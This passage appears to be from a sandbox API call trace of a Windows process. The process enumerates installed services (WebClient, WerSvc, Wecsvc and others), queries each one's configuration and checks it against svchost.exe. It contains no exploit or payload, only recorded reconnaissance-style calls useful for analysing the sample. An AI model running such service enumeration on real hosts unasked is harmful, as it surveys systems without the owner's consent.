(HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d207b8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x1d207b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcspluginservice", lpUsedDefaultChar=0x0) returned 16 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20800 [0028.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d207b8) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20800) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92400) returned 1 [0028.162] OpenServiceW (hSCManager=0x286c38, lpServiceName="WcsPlugInService", dwDesiredAccess=0x1) returned 0x286d28 [0028.162] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.162] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.163] GetLastError () returned 0x7a [0028.163] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92400 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92488 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92400) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92488) returned 1 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92488 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92400 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92488) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92400) returned 1 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92400 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20800 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20800, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d207b8 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20800) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d207b8) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92400) returned 1 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d207b8 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92400 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92488 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92510 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92598 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92620 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20800 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x1d20800, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdiservicehost", lpUsedDefaultChar=0x0) returned 14 [0028.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20848 [0028.163] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20800) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20848) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92620) returned 1 [0028.164] OpenServiceW (hSCManager=0x286c38, lpServiceName="WdiServiceHost", dwDesiredAccess=0x1) returned 0x286e18 [0028.164] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.164] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.164] GetLastError () returned 0x7a [0028.164] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.164] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92620 [0028.164] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c926a8 [0028.164] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92620) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c926a8) returned 1 [0028.164] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c926a8 [0028.164] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92620 [0028.164] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c926a8) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92620) returned 1 [0028.164] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92620 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.164] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20848 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20848, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20800 [0028.165] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20848) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20800) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92620) returned 1 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20800 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92620 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c926a8 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92730 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c927b8 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92840 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20848 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x1d20848, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdisystemhost", lpUsedDefaultChar=0x0) returned 13 [0028.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93eb0 [0028.165] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20848) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93eb0) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92840) returned 1 [0028.165] OpenServiceW (hSCManager=0x286c38, lpServiceName="WdiSystemHost", dwDesiredAccess=0x1) returned 0x286d00 [0028.165] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.165] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.165] GetLastError () returned 0x7a [0028.165] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x130, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92840 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c928c8 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92840) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c928c8) returned 1 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c928c8 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92840 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c928c8) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92840) returned 1 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92840 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20848 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20848, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93eb0 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20848) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93eb0) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92840) returned 1 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20848 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92840 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c928c8 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92950 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c929d8 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92a60 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93eb0 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x1c93eb0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webclient", lpUsedDefaultChar=0x0) returned 9 [0028.166] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93ef8 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93eb0) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93ef8) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92a60) returned 1 [0028.166] OpenServiceW (hSCManager=0x286c38, lpServiceName="WebClient", dwDesiredAccess=0x1) returned 0x286dc8 [0028.167] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.167] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.167] GetLastError () returned 0x7a [0028.167] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.167] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92a60 [0028.167] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ae8 [0028.167] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92a60) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92ae8) returned 1 [0028.167] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ae8 [0028.167] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92a60 [0028.167] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92ae8) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92a60) returned 1 [0028.167] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92a60 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.167] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93eb0 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c93eb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.167] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93ef8 [0028.167] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93eb0) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93ef8) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92a60) returned 1 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93eb0 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92a60 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ae8 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92b70 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92bf8 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92c80 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93ef8 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x1c93ef8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wecsvc", lpUsedDefaultChar=0x0) returned 6 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f40 [0028.168] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93ef8) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f40) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92c80) returned 1 [0028.168] OpenServiceW (hSCManager=0x286c38, lpServiceName="Wecsvc", dwDesiredAccess=0x1) returned 0x286d28 [0028.168] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.168] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.168] GetLastError () returned 0x7a [0028.168] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.168] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92c80 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92d08 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92c80) returned 1 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92d08) returned 1 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92d08 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92c80 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92d08) returned 1 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92c80) returned 1 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92c80 [0028.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f40 [0028.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c93f40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93ef8 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f40) returned 1 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93ef8) returned 1 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92c80) returned 1 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93ef8 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92c80 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92d08 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92d90 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92e18 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ea0 [0028.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f40 [0028.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x1c93f40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wercplsupport", lpUsedDefaultChar=0x0) returned 13 [0028.169] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f88 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f40) returned 1 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f88) returned 1 [0028.169] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92ea0) returned 1 [0028.169] OpenServiceW (hSCManager=0x286c38, lpServiceName="wercplsupport", dwDesiredAccess=0x1) returned 0x286e18 [0028.169] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.170] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.170] GetLastError () returned 0x7a [0028.170] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ea0 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92f28 [0028.170] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92ea0) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92f28) returned 1 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92f28 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ea0 [0028.170] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92f28) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92ea0) returned 1 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ea0 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f88 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c93f88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f40 [0028.170] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f88) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f40) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92ea0) returned 1 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f40 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92ea0 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92f28 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92fb0 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c93038 [0028.170] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c930c0 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.171] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93f88 [0028.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x1c93f88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wersvc", lpUsedDefaultChar=0x0) returned 6 [0028.171] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c93fd0 [0028.171] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93f88) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c93fd0) returned 1 [0028.171] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c930c0) returned 1 [0028.171] OpenServiceW (hSCManager=0x286c38, lpServiceName="WerSvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.171] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.171] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.171] GetLastError () returned 0x7a [0028.171] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, 